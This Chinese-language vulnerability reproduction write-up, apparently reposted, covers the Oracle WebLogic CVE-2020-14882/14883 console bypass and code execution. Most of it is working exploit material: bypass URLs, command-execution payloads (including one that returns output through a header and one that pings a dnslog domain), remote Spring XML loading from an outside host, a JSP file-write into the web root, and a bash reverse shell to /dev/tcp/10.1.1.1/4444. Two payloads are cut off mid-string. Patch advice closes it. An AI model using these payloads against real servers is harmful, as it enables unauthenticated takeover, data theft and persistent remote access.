CVE-2020-14882&CVE-2020-14883 Weblogic未授權遠程命令執行漏洞


漏洞介紹

近日,Oracle WebLogic Server 遠程代碼執行漏洞 (CVE-2020-14882)POC 被公開,未經身份驗證的遠程攻擊者可通過構造特殊的 HTTP GET 請求,結合 CVE-2020-14883 漏洞進行利用,利用此漏洞可在未經身份驗證的情況下直接接管 WebLogic Server Console ,並執行任意代碼,利用門檻低,危害巨大。

未經身份驗證的遠程攻擊者可能通過構造特殊的 HTTP GET請求,利用該漏洞在受影響的 WebLogic Server 上執行任意代碼。它們均存在於WebLogic的Console控制台組件中。此組件為WebLogic全版本默認自帶組件,且該漏洞通過HTTP協議進行利用。將CVE-2020-14882和CVE-2020-14883進行組合利用后,遠程且未經授權的攻擊者可以直接在服務端執行任意代碼,獲取系統權限。

WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基於JAVAEE架構的中間件,WebLogic是用於開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標准的安全性引入大型網絡應用的開發、集成、部署和管理之中。

WebLogic是美商Oracle的主要產品之一,是並購BEA得來。是商業市場上主要的Java(J2EE)應用服務器軟件(application server)之一,是世界上第一個成功商業化的J2EE應用服務器, 已推出到12c(12.2.1.4) 版。而此產品也延伸出WebLogic Portal,WebLogic Integration等企業用的中間件(但當下Oracle主要以Fusion Middleware融合中間件來取代這些WebLogic Server之外的企業包),以及OEPE(Oracle Enterprise Pack for Eclipse)開發工具。

影響范圍

  • Oracle WebLogic Server 版本10.3.6.0
  • Oracle WebLogic Server 版本12.1.3.0
  • Oracle WebLogic Server 版本12.2.1.3
  • Oracle WebLogic Server 版本12.2.1.4
  • Oracle WebLogic Server 版本14.1.1.0

環境搭建

安裝weblogic環境成功后,跳到base_domain目錄下

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain

運行startWebLogic.cmd

可訪問7001端口(http://192.168.1.111:7001/console/login/LoginForm.jsp),說明環境部署成功

漏洞復現

CVE-2020-14883: 權限繞過漏洞

遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console

未授權訪問后台

POC:

http://192.168.1.111:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

CVE-2020-14882: 代碼執行漏洞

直接加載命令執行(無回顯)

結合 CVE-2020-14883 漏洞,遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console ,並在 WebLogic Server Console 執行任意代碼。

POC 彈出計算器

http://192.168.1.111:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)

POC執行ping dnslog地址

http://192.168.1.111:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping monster.f7iu4d.dnslog.cn%27);%22)

直接加載命令執行(回顯)

POC GET方式執行id命令

GET/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThreadcurrentThread = (weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork();java.lang.reflect.Field field =adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Objectobj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req =(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")? new String[]{"cmd.exe", "/c", cmd} : newString[]{"/bin/sh", "-c", cmd};if(cmd != null ){ Stringresult = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next();weblogic.servlet.internal.ServletResponseImpl res =(weblogic.servlet.internal.ServletRespo

POC POST方式執行id命令

POST/console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host:192.168.60.130:7001
cmd: id
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/85.0.4183.121 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding:gzip, deflate
Accept-Language:zh-CN,zh;q=0.9
Connection: close
Content-Type:application/x-www-form-urlencoded
Content-Length: 1258
 
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThreadexecuteThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapteradapter = executeThread.getCurrentWork();
java.lang.reflect.Fieldfield = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj =field.get(adapter);
weblogic.servlet.internal.ServletRequestImplreq = (weblogic.servlet.internal.ServletRequestImpl) obj.getC

加載遠程項XML文件執行

嘗試通過FileSystemXmlApplicationContext()加載並執行遠端xml文件:

http://192.168.1.111:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.3.1/poc.xml")

通過ClassPathXmlApplicationContext()也可以達到相同的效果:

http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.3.1/poc.xml")

poc.xml如下:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>cmd</value>
                <value>/c</value>
                <value><![CDATA[calc]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

通過此方法,windows可以往images路徑下寫文件,寫入路徑為:

../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>cmd</value>
                <value>/c</value>
                <value><![CDATA[echo hello>
"../../../wlserver/server/lib/consoleapp/webapp/images/hack.jsp"]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

linux直接反彈shell

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>cmd</value>
                <value>/c</value>
                <value><![CDATA[bash -i >& /dev/tcp/10.1.1.1/4444 0>&1]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

修復建議

此次 Oracle 官方的 CPU已發布了針對該漏洞的補丁,請受影響用戶及時下載補丁程序並安裝更新。

及時更新補丁,參考oracle官網發布的補丁:

Oracle Critical Patch Update Advisory - October 2020

https://www.oracle.com/security-alerts/cpuoct2020traditional.html

注:Oracle官方補丁需要用戶持有正版軟件的許可賬號,使用該賬號登陸https://support.oracle.com后,可以下載最新補丁。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM